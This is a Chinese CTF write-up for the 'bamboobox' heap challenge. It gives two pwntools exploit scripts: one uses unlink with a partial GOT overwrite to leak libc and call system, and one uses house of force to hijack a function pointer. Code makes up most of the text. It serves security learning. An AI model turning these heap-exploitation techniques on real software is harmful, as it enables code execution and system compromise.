注意
本文最后更新于 2024-02-12,文中内容可能已过时。
1.unlink
这种方法非常简单,也很容易构造,所以我决定挑战一下不用 show()的写法。
需要 1/16 的概率来正确覆盖到堆地址。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
| from pwn import *
#context.log_level = "debug"
libc = ELF('./libc.so.6')
elf = ELF('./bamboobox')
def choice(idx):
r.sendlineafter("Your choice:", str(idx))
def show():
choice(1)
def add(size, content = 'sh'):
choice(2)
r.sendlineafter("Please enter the length of item name:", str(size))
r.sendafter("Please enter the name of item:", content)
def edit(idx, content):
choice(3)
r.sendlineafter("Please enter the index of item:", str(idx))
r.sendlineafter("Please enter the length of item name:", str(len(content)))
r.sendafter("Please enter the new name of the item:", content)
def delete(idx):
choice(4)
r.sendlineafter("Please enter the index of item:", str(idx))
def pwn():
add(0x88) #0
add(0xF8) #1
add(0x18) #2
add(0x18) #3
target = 0x6020C8
magic = 0x400D49
# unlink
FD = target - 0x18
BK = target - 0x10
edit(0, p64(0) + p64(0x81) + p64(FD) + p64(BK) + 'a' * (0x80 - 0x20) + p64(0x80))
delete(1)
#partial overwrite & free@got -> [email protected] & free@got -> system
edit(0, p64(0) * 3 + p64(elf.got['free']) + p64(0) + p64(elf.got['free']) + p64(0) + '\x40\x00')
edit(0, p64(elf.plt['printf'] + 6) + p64(elf.plt['puts'] + 6))
delete(2)
malloc_hook_addr = u64(r.recvuntil('\x7f', timeout=1)[-6:].ljust(8, '\x00')) - 88 - 0x10
if '0x7f' not in hex(malloc_hook_addr):
raise EOFError
libc.address = malloc_hook_addr - libc.sym['__malloc_hook']
edit(1, p64(libc.sym['system']) + p64(elf.plt['puts'] + 6))
#getshell
delete(3)
r.interactive()
while True:
try:
#r = process('./bamboobox')
r = remote('node3.buuoj.cn', 26620)
pwn()
except EOFError:
pass
|
2.house of force
这是要说明的重点方法,也是我做这道题的根本原因。
往低地址就是两者(low_addr - 0x10) - top_addr,往高地址,就是(high_addr - 0x10 - top_addr) - 0x10
这里要注意一个细节
第二次申请的时候,申请后的 top chunk size 不能小于 MINSIZE(0x10),即申请前的 malloc 堆块要大于申请 size + MINSIZE。
否则会触发重新申请 top chunk,在检测是否对齐的时候就会报错。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
| from pwn import *
#context.log_level = "debug"
libc = ELF('./libc.so.6')
elf = ELF('./bamboobox')
r = process('./bamboobox')
#r = remote('node3.buuoj.cn', 26620)
def choice(idx):
r.sendlineafter("Your choice:", str(idx))
def show():
choice(1)
def add(size, content = 'sh'):
choice(2)
r.sendlineafter("Please enter the length of item name:", str(size))
r.sendafter("Please enter the name of item:", content)
def edit(idx, content):
choice(3)
r.sendlineafter("Please enter the index of item:", str(idx))
r.sendlineafter("Please enter the length of item name:", str(len(content)))
r.sendafter("Please enter the new name of the item:", content)
def delete(idx):
choice(4)
r.sendlineafter("Please enter the index of item:", str(idx))
magic = 0x400d49
add(0x30) #0
edit(0, 'a' * 0x38 + p64(0xffffffffffffffff))
size = (0x1ecc000 - 0x10) - 0x1ecc060
add(size) #1
add(0x18) #2
edit(2, p64(magic) * 2)
choice(5)
r.interactive()
|